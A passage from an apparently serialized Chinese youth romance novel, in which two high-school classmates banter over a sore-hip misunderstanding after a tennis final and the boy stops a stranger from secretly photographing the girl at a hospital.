姜织宁正低头看周静瑶新剪辑的校园vlog，察觉到旁边有人落座，同时嗅到股熟悉气味，扭头瞥了眼，果然是柯译衍。 她对他笑了笑，顺势和他聊起刚才在餐厅门口，碰见一只很想拐回家的漂亮小猫咪，柯译衍懒洋洋后靠向椅背，安静偏头听她说话。 石莜和艾彤坐在一起，座位角度正对着柯译衍和姜织宁，她无声注视着闲聊的两个人，若有所思。 她来得晚，赶到包厢的时候差不多坐满了，眼看剩下几个空位，一时猜不准柯译衍会坐哪儿，犹豫间，瞄见艾彤笑眯眯朝她招手，想了想，便坐过去了。 她完全没想到姜织宁会来，进门看见姜织宁也在，她都愣住了，没过多久，又眼睁睁看着柯译衍主动坐到姜织宁旁边。 所以这会儿，石莜的心情有些复杂。 之前，她质疑姜织宁是不是柯译衍的女朋友，俞杨和她解释过，说柯译衍的舅舅和姜织宁的姑姑互相认识很多年，所以两位小辈之间，肯定要比普通同学的关系更熟一点。 也许是女生的直觉天生在男女关系方面更敏感，以至于石莜总觉得有点不对劲，尤其是柯译衍对姜织宁的态度，明显耐人寻味。 她从小就知道柯译衍行为举止很有分寸，绝对不会做出让女生误会的举动，所以，她没从见过柯译衍对哪位女生这么亲近过。 既然彼此早就认识的话，为什么以前没听他提起过姜织宁？ 这顿晚饭吃得相当热闹。 一帮生机勃勃的E人高中生，正处于最吵闹、精力最充沛的美好年纪，饭桌上笑闹声不断，天南地北地聊，一会儿吹牛胡扯，一会儿吐槽各自学校。 话题一旦打开，一个接一个，十几张嘴巴完全停不下来。 柯译衍全程话不多，吃得也不多。 毕竟他很久没有系统性的训练、打比赛了，刚刚结束一场三个小时的高强度决赛，人又处于感冒期，身体难免不太舒服，这会儿也是真的累。 他神情平淡，大部分时间倦懒靠着椅背，和状态同样没好到哪里去的周跃丞闲聊着。 期间，他不忘时不时注意一眼身旁的姜织宁，看她有什么需求。 堪称服务精神拉满。 饭吃到一半，趁石莜去洗手间的功夫，周静瑶凑到姜织宁耳边，低声说：“她谁啊，怎么老是看你啊？” “谁？”姜织宁探身夹了个虾饺。 周静瑶说：“就坐你对面，扎高马尾的那个美女。” 别看周静瑶平时大大咧咧，男孩子气十足，其实，她也能敏感察觉出女生之间那些微妙的小情绪，只不过她大多数时候懒得说，也不爱管闲事。 怎么讲呢，高马尾美女看姜织宁的眼神不算含有敌意，但也称不上友善，类似于有意无意的观察。 包厢里十几个人，大部分是男生，女生就那么几个，论颜值，肯定是姜织宁最顶，其次就是石莜，两个人美得各有特色。 难道说，这就是美女之间的暗自较量？ 至于吗 总之，石莜的观察让周静瑶感觉不太舒服。 “哦，她是柯译衍朋友啊，她刚才不是说，她是EQUA的签约模特吗。”姜织宁不以为意回道，“可能不是看我吧，柯译衍不就坐边上么。” 周静瑶一愣：“啊，EQUA的签约模特？她说了吗，我怎么没听到。” 饭桌上声音嘈杂，姜织宁被这么一问，也不确定自己有没有听错，她懒得回忆，直接扭头看向柯译衍，询他：“你朋友是EQUA模特吧？” 柯译衍愣了下，目光困惑：“谁？” 姜织宁：“就坐艾彤旁边那位女生。” 柯译衍答不上来，他哪知道这个。 EQUA签了不少模特，各个年龄段都有，还会定期更换，他平时又不关心这些，是真不知道。 更何况，他和石莜的关系不算熟，人都不是他叫来的。 柯译衍沉默数秒，忽然侧目看向周跃丞，真诚发问：“你知道么？” “知道什么？”周跃丞一脸莫名其妙。 柯译衍：“石莜是不是EQUA的签约模特？” 周静瑶：“” 姜织宁也很不可思议。 不是，柯大少爷，四舍五入一下，EQUA不就是你家公司吗，你自己家的事，你不清楚吗？ 柯译衍都不知道的事，周跃丞就更不知道了，周跃丞纳闷心想，他和石莜不算熟啊，朋友圈都很少点赞。 “你神经啊，我怎么会知道！” 周跃丞也是口嫌体正直，一边嘴上嫌弃吐槽，一边跟击鼓传花似的，扭头望向旁边正和俞杨嘎嘎傻乐的占子杰。 他抬手推了下占子杰，说：“你知道么？” “啊？什么什么？”占子杰咧嘴回头。 姜织宁：“” 嗯，算了吧，就离谱。 周静瑶看不下去了，在周跃丞问出口之前，无语抬手制止：“没事啊兄弟，你继续乐你的。” 占子杰笑眯眯：“好嘞好嘞！” 第58章 她没看他屁股 亲眼目睹网球联赛期间柯译衍从未掉线, 越打越好的状态，加上晚餐氛围实在太好了，聚餐临近结束的时候, 俞杨趁热打铁，久违地鼓起勇气, 对柯译衍提出重新捡起网球的建议。 俞杨现在对柯译衍特别有信心，觉得他的状态特别好。 只要柯译衍尽快找到合适的教练团队, 进行系统化训练，个人积分、排名很快就能升上去, 甚至更大胆点地想, 重回巅峰, 再创造个历史成绩也不是没可能。 柯译衍洗着手，神情平淡, 全程没说话。 俞杨唠唠叨叨表达完建议，柯译衍却毫无反应, 他纳闷等待数数秒后，不满抬起手, 往柯译衍肩膀上轻捶一拳，着急催问：“怎么样啊衍神？你倒是给我个反应啊！” “什么怎么样？” 柯译衍关掉水龙头, 抽了张纸擦手。 “合着我刚才说那么多, 你是一个字也没听进去？？？”俞杨瞪大眼睛反问, 无语道, “我让你回来打网球啊！” 鼻塞挺难受，柯译衍揉了揉鼻尖, 偏头轻咳了声, 含着鼻音倦懒地说：“打什么打，联赛不是已经结束了吗。” 俞杨猛翻白眼：“谁和你说联赛了, 这种学校友谊赛只是给你热热身好吧，我的意思是回归球场，去打专业比赛，为进入职业网坛做准备！” “热热身？” 柯译衍缓缓转头看向俞杨，漆黑狭长的眼眸流露出几分困惑。 沉默三秒后，对俞杨的胡说八道提出质疑：“难道不是因为你手腕受伤，我才临时上场？叫我为校争光，别想其他事，这话是谁说的？” “呃是是我。” 俞杨被说得噎住，目光心虚乱飘。 他咽了咽口水，装出若无其事模样，谄媚笑道：“哎呀，这不是看衍神这回状态好到离谱，就斗胆给你提个小建议嘛！” “说真的，咱们这群人都在等你调整好状态回赛场啊，你休息了这么久，应该差不多了吧？干嘛放弃网球啊，要不再考虑考虑？” 早就决定好的事有什么好考虑的，柯译衍没让俞杨得寸进尺，直接冷言拒绝：“没兴趣。” “没兴趣？”俞杨愣了愣，茫然反问，“那你接下来要干嘛？” “学习啊。”柯译衍平静说。 “……”俞杨瞬间急了，情不自禁骂道，“学毛线！你打网球这么厉害这么有天赋，丞哥都比不过你，你真要放弃？！” 对于柯译衍而言，网球已经是他的过去式，做人不可能一辈子停留在原地，总是要往前走的。 他早已接受回归学业的事实，专心读书，考个好大学，也没什么不好，为什么这群人比他还不甘心？ 柯译衍缓缓叹了口气，平淡说：“都说了好好学习，已经高二了，你也自觉点。” 俞杨憋了憋，不爽斜睨着他，阴阳怪气损道：”呵呵，好好学习，难不成，你是打算拿个高考状元回来？” “嗯，好主意，也不是不行。” 柯译衍淡声回了句，然后右掌心稍稍施力，垂眸按了按由于长时间比赛导致不太舒服的髋部。 想骂人的话因为瞄见柯译衍的动作而及时收住，俞杨顿了下，小心翼翼问：“不舒服啊？” 柯译衍低嗯了声。 他立马紧张起来，一把扯住柯译衍手臂，低下头，左看右看：“哪里不舒服啊？我靠，不会是小腿吧？！” 柯译衍缓慢深呼吸，脸上表情简直无语到家，心说，这俞杨是真的眼瞎，晚期，绝对没救了。 他的手，明明放在髋关节那边，和小腿有什么关系？ 俞杨连声问个不停，非常聒噪，柯译衍被他吵得不耐烦，面无表情撂话：“手痛、腰痛、髋关节痛，全身上下都很痛，就因为感冒了还要替你比赛，满意没？” 柯译衍这人挺好相处，也挺好说话，但毕竟小时候是位冷漠自我的毒舌Bking，所以他真要嘴毒刻薄起来，是绝对能气死人的。 “……” 俞杨嘴巴无声地张张合合，像条搞笑的鱼，他被怼得好半天说不出话来，最后极其不爽“切”了声，悻悻反驳：“你你是脆皮吗！还全身上下都很痛，矫情！我看你就是屁股痛！” “髋关节。”柯译衍冷脸纠正。 俞杨故意曲解，大声嚷嚷：“什么啊，那就是屁股啊！！！” 柯译衍：“” 心很累，随便吧。 他和智障没话说。 …… 其实，俞杨也知道自己过于心急了。 当初是他死皮赖脸，口是心非，打着为校争光的名义把柯译衍诓去报名。 说到底，这就是一次学校之间的友谊赛，娱乐性质为主，即使最后拿下冠军，也不可能改变柯译衍放弃网球的决定。 他从小就知道柯译衍的脾气，这位冷酷哥，早熟独立得很，旁人根本干涉不了他的决定。 今天这场决赛，俞杨特意把他的网球教练偷偷请到场，就是为了让教练判断柯译衍状态如何，有没有可能重回赛场。 柯译衍拿下冠军之后，俞杨立马跑到教练身边，急切问教练怎么样。 教练笑呵呵，说相当不错，但也没让俞杨高兴几秒。 教练知道柯译衍的情况，无情给俞杨泼冷水，说就算状态不错也是白搭，重回赛场这件事，还是得看柯译衍心里怎么想，得他本人愿意才行。 状态确实很重要，但心态才是通关钥匙。 俞杨听完话，表情瞬间蔫了，忍不住烦心说：“他要是真不打球了怎么办啊？” 那教练也是个幽默人，笑眯眯安慰：“什么怎么办？没事啊，你不是说柯译衍家里很有钱吗，等他以后接手EQUA，完全可以作为赞助商，去赞助职业选手啊，经济上的支持，也是对国内网球运动发展的一种贡献嘛，又不是非要靠成绩说话。” 俞杨听到教练居然这么说，匪夷所思，当场不满吼了声：“教练！！！” 哦，那到时候，柯译衍只能坐在观众席上看别人打球咯？ 这场面也太惨了吧！ 俞杨顿时心疼起好兄弟。 嘤！他可怜的衍神，来个抱抱！ 原本因为教练的调侃，俞杨心里对柯译衍充满了同情，但眼下他所做的一切，都在说明他是自作多情！ 好好好，就不仅劝不动柯译衍，还要被他怼，一时间，俞杨满肚子气！ 他气冲冲回到包厢，路过姜织宁时，忽然搞事情停下脚步，偷偷摸摸对她造谣说：“柯译衍屁股痛。” “啊？”姜织宁愣了下，没反应过来。 “柯译衍屁股痛，腰也不好，我刚才看见了，真的！”俞杨神情严肃，语气笃定。 “” 姜织宁茫然目光中带着几分纳闷，不是，俞杨和她说这个干嘛啊？ 她又不是医生 本着这种个人隐私应该不会无缘无故告诉她的分析，她思考数秒后，关心问：“是不是因为他比赛时伤到了？” 这时，包厢门被推开，柯译衍慢悠悠走进来。 俞杨瞥他一眼，飞快压低声音，对姜织宁嫌弃说：“谁知道呢，我们可不会像他这么脆皮啊，打个比赛就这痛那痛！宁王我和你说，你以后绝对不能找腰不好的脆皮男人，这种脆皮身体，呵呵，想做啥都不行！” 话说完，立马溜回座位。 姜织宁：“” 脆皮男人 好好笑哦。 姜织宁抿唇注视着柯译衍，视线一路追随他落座，最后下意识垂眸瞄了眼他的腰。 抬眼时，发现柯译衍盯着她，目光疑惑，她滞了秒，什么也没说，装出若无其事模样，扭头找周静瑶说话去了。 俞杨做贼心虚的表现，加上姜织宁耐人寻味的目光，柯译衍很快意识到，八成是俞杨对姜织宁说了什么有关他的坏话。 柯译衍冷眼看向俞杨，而俞杨装死到底，就当没看见。 “周导，打网球还会屁股痛吗？”姜织宁悄悄问。 “啊？？？”周静瑶睁大眼，吃惊道，“谁啊？谁屁股痛啊？！” “嘘，你小声点。” “明白明白，所以是谁屁股痛？” “柯译衍。” “啊”周静瑶同情瞄了眼形象迅速崩塌的衍神，低声回，“那正常，估计比赛时伤到肌肉了。” 姜织宁好奇问：“屁股上有肌肉吗？” “呃，好问题” 涉及知识盲区，周静瑶不敢瞎说，严谨拿起手机上网查了查，然后效率很高的找到一张腿部解剖图。 她把手机低调挪到桌底下，放大图片至屁股部分，指着旁边的小字说：“还真有哎！宁王你看，臀大肌，臀中肌，臀小肌！” 姜织宁仔细瞧了几眼，会意点头表示：“啊，学到了。” 晚餐结束，众人各自打车回去。 下次再见面不知道要等到什么时候，离别时，周跃丞还挺不舍，扯着柯译衍话唠了很久，最后非要看柯译衍先走。 姜织宁和周静瑶一起回去，周跃丞一行人结伴回酒店，石莜发现自己落单，便主动提出和柯译衍坐一辆车。 柯译衍想了想，淡声说不是一个方向，随后朝俞杨招手，叫他送石莜回去。 石莜无话可说，眼睁睁看着柯译衍坐上姜织宁所在的那辆车，眼眸中流露出失落。 先送周静瑶回家，半个小时后，汽车停在小区门口，姜织宁让司机等一下，说去路边药店买点东西，然后和周静瑶一起下车了。 几分钟后，姜织宁拎着纸袋上车。 柯译衍收起手机，侧目看向少女：“不舒服？” 姜织宁：“没有。” 他下巴冲纸袋一指：“那怎么去买药了？” 姜织宁犹豫看他一眼，目光挺复杂，最后含糊其辞地说：“帮别人买的。” 柯译衍半信半疑看着她。 一个小时过去，汽车到达小区门口，两人下车，一路走到电梯里，姜织宁才把手中纸袋递给柯译衍。 “给你买了点药。” 柯译衍不由挑眉：“不是说给别人买的？” “就是你。”姜织宁叹气解释，“刚才车上不是还有司机还在吗，就感觉不太方便说，家里有感冒药，你到家后记得问赵姨拿，我给你买了几盒药膏。” “药膏？” 什么药膏需要弄的这么神秘？ 柯译衍疑惑打开纸袋，拿出其中一盒。 与此同时，姜织宁从容镇定地说：“嗯，听说你屁股痛。” 柯译衍：“？” 姜织宁：“我问过了，店员说药膏可以贴在屁股上，有用的。” 柯译衍：“” 姜织宁：“店员还说，这个牌子的药膏止痛活血效果最好。” 狭窄的电梯内，空气骤然凝固。 柯译衍沉默盯着手中无比烫手的大红色威武牌药膏，有那么一瞬间，就很想扔进垃圾桶。 姜织宁看柯译衍反应不太对劲，误以为他在害羞尴尬，理解的，男生也有自尊心嘛。 屁股痛，听着是有点搞笑，但她完全能理解，毕竟像她这种常年跳舞的人，身体也很容易到处受伤。 那个周跃丞，不是也在比赛期间摔了好几次吗，估计他也摔得屁股痛。 所以说，大家半斤八两，谁也别笑话谁。 宛如太平间般死寂的气氛中，姜织宁轻咳一声，主动开口，好心安慰：“没事啊，你别想太多，嗯屁股痛怎么了，很正常啊，换个角度想想，这可是荣誉的勋章。” 什么荣誉的勋章！ 柯译衍第一次体会到，什么叫心如死灰，什么叫这辈子没这么无语过。 姜织宁：“你放心啊，除了周导，我没和其他人说过，周导是自己人，她嘴巴特别紧，绝对不会多嘴的。” 这么说，还要夸她一句很贴心咯？ 柯译衍简直要被姜织宁气笑。 他缓慢深呼吸，面无表情掀起眼皮，嗓音冷到了极点：“谁说我……屁股痛？” 姜织宁：“俞杨。” 柯译衍冷笑一声，就知道是俞杨这个狗东西。 他原以为，狗东西最多说些有关他打球的坏话，没想到，比这还离谱，居然造谣他屁股痛，这个皮痒欠捶的神经病。 “不是吗？”姜织宁品出不对劲，纳闷追问。 柯译衍冷飕飕回：“不是，听他胡扯。” “那其他地方呢？”姜织宁怀疑问，“有没有不舒服啊？” 主要是晚餐那会儿，她确实注意到柯译衍话很少，胃口不佳，大部分时间倦懒坐位子上的异常状态，平时也就算了，这次他顶着感冒上场打球，身体肯定不舒服啊。 她蹙眉心想，他可千万别为了面子逞强哎，这种时候身体最重要，那点自尊心不值钱。 所谓眼不见心不烦，柯译衍把药膏扔进袋子里，冷淡说：“髋关节有一点。” 髋关节在哪里？ 姜织宁没概念，当即虚心好学拿手机查了查，然后发现髋关节是医学用词，难怪她从没听过。 俗称胯关节，连接躯干和下肢，由于是对运动起到核心作用的部位，所以，网球运动员的常见运动伤病部位之一就在髋部。 旁边相关新闻还提到，某位国外网球名将因为髋部伤病，去做了个髋关节置换手术，从此拥有一个金属臀。 金属臀？ 听着很牛逼的样子。 姜织宁按灭手机，伴随着研究人体知识的好奇想法，垂眸望向柯译衍的胯部。 柯译衍余光注意到姜织宁异样的视线，愣了愣，迅速侧目瞥她一眼。 无语中，本着他不挑明她就不会尴尬的好心念头，他不动声色收回目光，当没发现。 结果好心忍耐数秒后，发现姜织宁依然目不转睛，认真盯着他屁股 啧，这就有点过分了啊。 就无语，她怎么这么胆大啊，思想也很危险。 居然明目张胆盯着男生的屁股，还看得这么认真，不知道的人，还以为他屁股上开花了 她想干什么啊？ 就这行为，已经超出朋友范围了吧？ 柯译衍忍无可忍，侧身斜睨着姜织宁，不爽开口：“姜织宁，你往哪里看？” 姜织宁抬眸，眼神有点无辜。 她没看他屁股，她看的是胯 但是胯部这个位置就比较敏感，正好处于腰部和大腿之间，多少还是和屁股沾边了。 所以刚才学术研究的时候，她就走神心想，其实俞杨说柯译衍屁股痛也没毛病。 她没和柯译衍并排站着，站位要靠后一些，这个视线角度确实容易引起对方误会。 其实她也没看出什么来，柯译衍穿着卫衣和运动裤，都是宽松款，一身上下遮挡得严严实实，她又没有透视眼，约等于看了个寂寞。 唉，可千万别误会她啊！ 想到这，姜织宁神情一本正经，用专业医学术语，严肃说：“髋关节。” 柯译衍：“” 第59章 谁说我是她男朋友？ 月考成绩出来之后, 班里进行了一次座位大调整。 班主任刘彬没有按照成绩排名来排位，而是研究过每位同学的优劣科目后，依照互补帮扶原则调整出新座位表。 除了姜织宁和柯译衍这组没有变动, 其他人都换了新同桌。 制作座位表的时候，刘彬特意单独找柯译衍沟通过。 先是说明了没给他换同桌的原因, 然后民主地问柯译衍，愿不愿意继续和姜织宁坐一起, 不愿意的话，他也能调整。 之前姜织宁经历过意外休学, 因此刘彬对待她是比较谨慎的。 从开学到今天, 刘彬暗中观察下来后, 发现柯译衍和姜织宁相处得挺好，之前他交给柯译衍照看同桌的任务, 少年也办得很不错。 刘彬心里很满意，所以这回座位调整, 没想着拆开两人。 柯译衍站在办公桌旁，耐心听班主任说完原因后, 直接点头说行，态度干脆到刘彬都有些意外。 刘彬诧异看着他, 心想, 都不考虑一下吗？答应得这么干脆？ 前后反差太大了, 着实让他很意外啊, 之前少年可不是这幅好说话的态度。 柯译衍看班主任眼神不对劲，便平静问：“有什么问题吗？” 刘彬回过神来, 笑着说：“就换座位这个事情啊, 老师没有强迫你的意思，完全尊重你的个人意愿, 也不着急，你要不要回去考虑一下？” 说实话，柯译衍挺不理解的。 这位刘老师，之前非让他照看姜织宁，还不让他考虑，这回他都主动答应不换座位了，又反常说尊重个人意愿，让他考虑考虑。 怎么上次不尊重他个人意愿，强买强卖？ 这点小事，没什么好考虑的，柯译衍直言：“不用考虑了，就这样。” 刘彬愣了愣，笑呵呵道：“那行，说实话啊，老师还挺意外，上次让你照看同桌，你特别排斥，搞得我以为你对姜织宁有意见。” 哦，原来是这样。 这倒是没说错，那会儿他确实有意见，确实排斥，因为某个不可言说的私人原因。 柯译衍沉默了下，然后不紧不慢搬出当时刘彬劝他的话，冷静胡扯道：“就是觉得刘老师说的对，大家同学一场不容易，缘分难得，同学之间应该互相照顾点。” 刘彬嘴巴顿时咧开，当场乐了。 完全没想到柯译衍会把他的话记在心里，很好很好，孺子可教也！ 刘彬满意点了点头，顺道提了嘴：“这次月考成绩不是出来了吗，学习方面，你有空也帮一帮同桌。” “姜织宁没考好？”柯译衍秒懂，皱眉问。 刘彬一边在电脑里打开月考排名表，一边说：“和她休学之前的成绩比起来，是退步了。” 排名表打开后，柯译衍俯身接过鼠标，仔细查看着姜织宁的各科成绩。 刘彬看少年态度格外认真，笑了笑，不由说：“我只是和你提一嘴，平时学习上你们俩互帮互助就行，姜织宁因为身体原因，肯定有点影响到学习的，但也不是什么大事，只是一次月考而已，证明不了太多。” 柯译衍嗯了声，会意说：“知道。” “还有一件事。”刘彬轻咳两声，状似不经意地说，“前两天啊，体育组的李老师来找过我，闲聊了会儿网球方面的事。” 柯译衍顿了下，身体站直，平静注视着班主任。 刘彬：“那个，你这次不是代表学校拿到了网球联赛冠军吗，李老师夸你比赛状态相当不错，所以让我问问你，这个网球方面啊，你有没有什么新的想法？” 都快一年没比赛了，柯译衍还能打得这么精彩，实力在线拿下冠军，说实话，李老师他们都挺惊喜。 李老师敏锐察觉出网球联赛是个很好的契机，所以特意找到刘彬商量，让他打探打探柯译衍的态度。 虽然班主任说的挺委婉，但柯译衍很清楚对方想问什么。 有没有什么新想法，意思就是问他，心里有没有捡起球拍，重回赛场，走职业网球运动员这条路的意愿。 一时间，柯译衍沉默不语。 并没有立马否认，态度像是在思考，仿佛这码事存在可商量的余地。 数秒后，柯译衍淡声说：“没有。” 刘彬愣了下，追问：“真真没有？” “没有。” 个人前程这种事，学生有自己的想法，作为老师，只能引导劝说，没办法强求。 柯译衍的情况很特殊，他不止网球打得好，学习成绩也很好，在外人眼里看来，就是两条大路均通罗马，任由他挑。 无论怎么挑，少年都能轻易翻手为云，覆手为雨。 所以到底是走学业这条路，还是走职业网球运动员那条路，柯译衍周围有无数种声音，但最终，还是得按照他本人的意愿来。 刘彬望着眼前英俊逼人的优等生，轻叹了口气，没再多说什么。 放柯译衍回班之前，刘彬笑眯眯看着他，语气轻松，半开玩笑地说：“既然网球这边没想法，那有没有想法给我们江中拿个高考状元回来啊？” 柯译衍面无波澜回了句：“我试试。” 没有明确答应，但是少年的态度格外从容，似乎高考状元对他来说十拿九稳，完全不是什么难事。 柯译衍离开办公室之后，隔壁3班的班主任立马扭头看向刘彬，目光无比羡慕，咂舌道：“刘老师，你们班学生这么酷的啊？” 刘彬被夸得脸上有光，高兴哈哈笑起来，凡尔赛摊手表示：“没办法，人柯译衍就是有这个底气！” 旁边几位老师笑着附和。 “是啊，柯译衍长得酷，讲话也这么酷。” “这男生长得好，运动好，学习好，性格也不错，哎哟，这不就是典型别人家的孩子吗。” “真羡慕你啊刘老师，怎么就不是我班里的学生呢！” “是啊，要是柯译衍是我班里的学生就好了。” …… 月考姜织宁确实没考好。 之前周静瑶还和姜织宁开玩笑，说她这回月考拿的剧本是—— 重生回高二，这次，我一定要拿回属于我的一切！ 结果，她不仅没拿回一切，就连老家都被人偷了。 全班总共40人，姜织宁这次月考排名处于班里中下游，年级排名也不好看，拿到成绩条的那一刻，她茫然望着个人排名，叹了好几口气，挺心烦的。 因为这次月考成绩对她来说，完全是考砸了的程度。 姑姑倒是不以为意，还反过来安慰姜织宁，夸她成绩挺不错的，说这要是放到普高，那也是名列前茅的水平，让她千万别想太多，再接再厉就是了。 姜织宁没说话，生无可恋歪倒在沙发上，目光无神望着电视机。 姜颖对姜织宁非常宽容，没有任何学习方面的要求，唯一紧张在意的，那就是姜织宁的身体健康，她希望侄女开心健康长大。 周六上午。 原本姜颖要陪姜织宁去医院开中药，快要出发时，公司那边一通急电打过来，紧急情况，姜颖不得不立马回公司一趟。 见状，姜织宁善解人意地说：“没事姑姑，你去忙吧。” “你一个人可以吗？” 姜织宁笑：“当然可以，不就是去医院开个中药嘛。” 姜颖还是不太放心，沉思几秒后，忽然问：“对面那男生在家吧？” “柯译衍吗？”她愣了愣，点头说，“应该在。” 姜颖低头看了眼手表，随后拎包打开大门，风风火火走向对面。 五分钟后，姜织宁收到姑姑打来的电话，说已经交代好对门男生，让他陪她去医院。 啊？ 姑姑就这么丝滑使唤上柯译衍了？ 姜织宁惊呆了。 她茫茫然挂掉电话，与此同时，手机上弹出微信信息，她点开看，是柯译衍发来的。 【K】：什么时候走？ 【Ning】： 【K】：？ 【Ning】：没事，马上 出门后，柯译衍在手机上叫了辆车，两人走到小区门口时，汽车已经等着了。 姜织宁拉开车门坐进去，扭头看向柯译衍，满脸真诚发问：“姑姑叫你陪我去医院，你就答应了？” 柯译衍作势无奈叹了声，双臂懒散环至胸前，眼尾轻瞥，斜睨着她，慢悠悠说：“是啊，能不答应吗，姜阿姨那个刀子眼光，搞得我心理压力很大啊。” 知道他是在调侃，但姜织宁也知道姑姑脾气火爆，为人确实强势霸道，连她都觉得姑姑是个很难搞定的人。 她眼神同情看着柯译衍，忍不住心说一句，好惨。 就算姑姑经常使唤柯译衍做这做那，他依然在姑姑面前不配拥有姓名，唉，他真的太惨了。 “姑姑太紧张我了，其实我一个人也可以去医院。”姜织宁好声好气安慰他，“好人一生平安，你辛苦了，等会儿我请你吃午饭吧。” “中午不是在家里吃吗？”柯译衍勾唇说。 她顿了下，想起来说：“是哦，早上赵姨还问我想吃什么菜，唉，我又忘了。” 柯译衍笑了声，懒洋洋说：“刚和你开玩笑的，傻不傻。” 他今天本来就没什么事，又是姜颖亲自找他帮忙，事情和姜织宁有关，他当然会答应。 姜织宁扭头看向车窗外，叹气讲：“知道啊，那也要感谢，谁的时间不是时间呢。” 周末医院人很多，电梯永远塞得满满当当，时不时响起不堪负重的鸣叫。 姜织宁在自助机器上取出提前预约好的号，不愿挤电梯，直接走向楼梯口。 走到二楼的时候，迎面走下来一位身穿某高中校服的矮胖眼镜男。 两边擦肩而过，男生目光不经意掠过姜织宁的脸，随即愣了愣，视线下意识追随过去。 卧槽？ 卧槽！ 这女生是那个童星，姜织宁吧？？？ 眼镜男停在台阶上，兴奋掏出手机，打开拍照模式，转身对准姜织宁。 姜织宁今天穿了条长度在膝盖之上的纯白短裙，柯译衍敏锐察觉到眼镜男试图偷拍，反应很快，立马低头冷眼扫向他。 与此同时，他迅速和毫无察觉，正垂眸回复消息的姜织宁调换位置，将她整个人罩在里侧。 而眼镜男被柯译衍冷冰冰的警告视线刺激得手一抖，识趣收起手机，灰溜溜下楼了。 人走后，柯译衍看向姜织宁，淡声问：“几楼？” 姜织宁按灭手机，放回衣兜里：“五楼，快到了。” 柯译衍：“到五楼等着就行？” “对。”姜织宁给他看小票上的条形码，说：“过去人工扫一下，等着叫号就行。” 柯译衍：“需要陪你进诊室么？” 姜织宁笑起来：“那不用，你在外面等我就行。” 他低嗯了声，冷冷瞥了眼楼梯下方，不动声色地说：“刚才看到个熟人，我过去打个招呼，有事给我打电话。” 姜织宁没听出异样，点头哦了声，也没多问。 眼镜男并没有走远。 刚开始还紧张兮兮，不断往后偷瞄，很怕姜织宁身边那位冷酷大帅哥追上来找事。 小心翼翼走了一段路后，也没发现背后有人影，他就知道是自己想太多，彻底放轻松了。 他放缓脚步，得意洋洋给朋友打了个电话，在电话里添油加醋，大吹特吹刚才偶遇姜织宁本人的幸运经历。 虽然姜织宁早已退圈，低调回归普通生活很多年，但她如今头顶江中校花大名，越长大美貌越是惊人，同龄人又喜欢打听传八卦，直接导致她的名气在本市高中生口中只增不减。 哪怕其他学校的学生没见过姜织宁本人，也基本听说过姜织宁的名字，所以眼镜男看到她才会这么兴奋。 电话那头的朋友不相信他吹牛，眼镜男立马冷哼甩了张照片过去。 因为柯译衍及时阻拦的原因，导致眼镜男手发抖，最后拍出两张糊图。 画面不仅高度重叠，重点是，照片里的姜织宁被柯译衍严严实实护挡在里侧，只露出一小截上半身，她的脸也看太不清楚，因为低着头，被长头发遮住了。 照片角度拍得很莫名其妙，完全是废片，一眼看上去更像是在偷拍柯译衍。 朋友一看，顿时失望吐槽：“这能看出个毛线，你要拍女的啊！拍男的干什么，脸都看不见，不会是假的吧！” 眼镜男嚷了声：“什么假的，就是姜织宁啊！只不过被黑衣帅哥挡住了，他不让拍！” 朋友笑嘻嘻，立马八卦问：“不让拍？这帅哥谁啊？” 眼镜男不耐烦说：“估计男朋友吧，不然这么保护姜织宁干嘛。” 朋友哟了声，来了兴致，意味深长地说：“姜织宁和男朋友去医院，还故意走楼梯，看的什么科啊？哈哈哈哈，不会是妇科吧？” “要真是妇科，那可是能上热搜的大瓜啊，毕竟姜织宁是童星哎！说起来，你听说了吗，就那隔壁高中，好像上周有个高二女生被劝退了，说是怀孕了！” 便宜手机质量不好，不仅拍图糊，还漏音严重，眼镜男还没来得及回话，眼前突然压下来铺天盖地的黑色阴影。 下一秒，他肩膀被人猛地一推。 眼镜男双脚趔趄，整个人晃晃悠悠直往后退去，后背重重撞在石柱上。 靠，痛死了！ 他妈谁啊！ “造谣什么？” 头顶传来一道阴冷质问。 眼镜男身体瞬间僵直，颤颤巍巍抬起头，撞上一双风雨欲来的漆黑冰山眼。 柯译衍面无表情，居高临下盯着眼镜男，“谁说我是她男朋友？” 眼前这位冷酷哥盛气凌人的压迫感太强烈了，而且还比他足足高出一个头，眼镜男双手抖个不停，生怕当场挨揍。 他紧张咽了咽口水，结结巴巴问：“那那那那您是？” “和你有关系么？”柯译衍冷声道。 眼镜男吓得连忙摆手：“没关系！没关系！是我多嘴瞎说！我道歉，对不起对不起！” 柯译衍眉眼沉沉，凛冽嗓音带着股愠怒，一字一句问：“刚谁说看妇科？上热搜？” “绝对不是我！是这个孙子！我什么也没说！” 眼镜男吓破胆，立马举起手机卖朋友，结果那边早就吓尿挂了，他不可置信瞪大眼，咬牙暗骂一声，表情委屈地说：“就朋友朋友胡说八道，真不是我啊！我发誓！” 柯译衍：“照片。” “哦哦！我马上删掉！” 柯译衍阴沉着脸，盯着眼镜男删干净那两张偷拍照。 这眼镜男也是脑回路清奇，瞧出柯译衍一身有品潮牌限量款，删完照片后，殷勤献上手机，舔着脸说：“您要是不放心，可以直接把我手机摔了，您给我换个新的就行。” 柯译衍目无情绪，懒得搭理他发神经。 他确认过照片，哪怕没删干净也无所谓，反正照片里露脸的是他，几乎没拍到姜织宁。 他完全不在意自己被拍到，他更在意的是，那几句关于姜织宁的造谣。 现在没工夫处理这件事，他得回去照顾人。 柯译衍冷脸要了眼镜男的学校和姓名，发现对方是附近高中的学生，校名很眼熟，之前听俞杨提起过好几次。 想到这，他随手把信息发给俞杨。 俞杨正好认识那所高中的校霸，对方是位处分单和奖状数量持平，为人很有意思一男生，让俞杨和这位朋友通个气，叫人敲打敲打这俩嘴碎，帮忙盯着点。 这边事情刚处理完，手机就响了起来。 接通后，姜织宁纳闷的嗓音从电话那头传来：“你在哪儿呢？” “药开好了？”柯译衍抬脚往回走。 “嗯，好了，挺快的。” 他问：“药拿了吗？” 姜织宁语气轻快：“不用拿，直接在医院熬好寄回家就行，对了，我刚才碰见认识的医生叔叔，和他挺久没见面了，中午打算和叔叔一起吃医院食堂，你想不想吃食堂？” 柯译衍嗯了声，加快脚步：“我和赵姨说一声。” 姜织宁：“好，那你来一楼大厅侧门，我们在这边等你。” 电话挂掉，蒋医生斜眼瞅着姜织宁，八卦问：“哟，还主动叫人过来吃饭呢，男同学女同学啊？” 姜织宁老实说：“男同学。” 蒋医生挑了挑眉，感兴趣问：“是蔡从吗？很久没看到他了，他最近在忙什么呢？” 